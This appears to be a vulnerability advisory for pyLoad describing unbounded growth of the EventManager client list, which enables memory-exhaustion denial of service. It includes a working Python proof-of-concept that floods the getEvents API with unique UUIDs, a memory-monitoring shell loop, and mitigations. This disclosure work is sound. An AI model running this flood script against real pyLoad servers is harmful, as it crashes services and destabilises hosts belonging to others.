Description: The "EventManager" module in "pyload" manages a list of "Client" instances for subscribing to events. The addition of each unique "uuid" from the "get_events" API causes the creation of a "Client" instance that gets appended to the "clients" list. Although there is a "clean()" method available in the "EventManager" module for removing non-responding "Client" instances, this method is never used in the "EventManager" or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack. Vulnerable Code: https://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17 «Here the client is added to the "clients" list but never cleared the inactive clients.» Exploitation: 1. Start pyLoad server (Ensure the "pyload" server is running) 2. Authenticate: Obtain a session cookie or an API key (Here i used the API key). 3. Send Requests: Run the below poc script to send a large number of requests to the "getEvents" API endpoint, each with a unique "uuid". import requests import uuid import time Configuration URL = "http://localhost:8000/api/getEvents" NUM_REQUESTS = 100000 headers = { "X-API-Key" : "<YOUR_APIKEY>" } print(f"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...") for i in range(NUM_REQUESTS): Generating a new UUID uid = str(uuid.uuid4()) try: # Sending request requests.get(URL, params={"uuid": uid}, headers=headers, timeout=5) if i % 1000 == 0: print(f"Sent {i} requests...") except requests.exceptions.RequestException as e: print(f"Error at request {i}: {e}") break print("Attack complete. Check memory usage.") 5. Monitor Memory: Monitor the memory usage of the "pyload" process (e.g., using "top", "ps" or the following commands). PID=$(pgrep -f "pyload"); while true; do ps -o rss= -p $PID; sleep 1; done 6. Observe Growth: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds. https://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686 Impact: - Denial of Service (DoS). The "pyload" process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host. Mitigations: - Invoke "clean()": Call "self.clean()" at the beginning of the "get_events" method to purge inactive clients before processing new ones. - Rate Limiting: Implement rate limiting on the "getEvents" endpoint to prevent a single client from flooding the server with unique UUIDs.